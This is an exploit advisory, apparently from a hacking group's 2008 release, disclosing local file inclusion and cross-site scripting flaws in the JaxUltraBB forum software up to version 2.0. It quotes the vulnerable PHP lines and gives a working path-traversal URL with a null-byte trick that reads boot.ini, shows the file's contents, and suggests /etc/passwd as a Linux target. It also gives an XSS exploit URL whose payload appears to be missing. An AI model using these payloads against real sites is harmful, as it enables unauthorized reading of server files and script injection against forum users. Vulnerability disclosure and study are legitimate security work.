=============================================================== JaxUltraBB <= 2.0 (LFI/XSS) Multiple Remote Vulnerabilities =============================================================== ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' AUTHOR : CWH Underground DATE : 20 June 2008 SITE : www.citec.us ##################################################### APPLICATION : JaxUltraBB VERSION : <= 2.0 DOWNLOAD : http://downloads.sourceforge.net/jubb/ ##################################################### --- Local File Inclusion --- ----------------------------------- Vulnerable File [viewprofile.php] ----------------------------------- @Line 8-9 8: $userfile = file_get_contents("users/".$_GET['user'].".JaxSQL"); 9: $onlinefile = file_get_contents("users/".$_GET['user']."online.JaxSQL"); -------------- POC Exploits -------------- [+] http://192.168.24.25/jubb/viewprofile.php?user=../../../../../../../../boot.ini%00 This exploit will open boot.ini in system file: [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1) \WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1) \WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect You can change boot.ini to /etc/passwd%00 in linux OS. --- Remote XSS Exploit --- --------------------------------- Vulnerable File [viewforum.php] --------------------------------- @Line 14: $forum = $_GET['forum']; 15: online_moved("Viewing ".$_GET['forum']); 17: $forumfile = fopen("topics/".$forum."topics.JaxSQL", "at"); 18: $topicsfile = file_get_contents("topics/".$forum."topics.JaxSQL", "at"); 19: echo "


$forum
"; --------- Exploit --------- [+] http://[Target]/[jubb_path]/viewforum.php?forum= ################################################################## # Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos # ##################################################################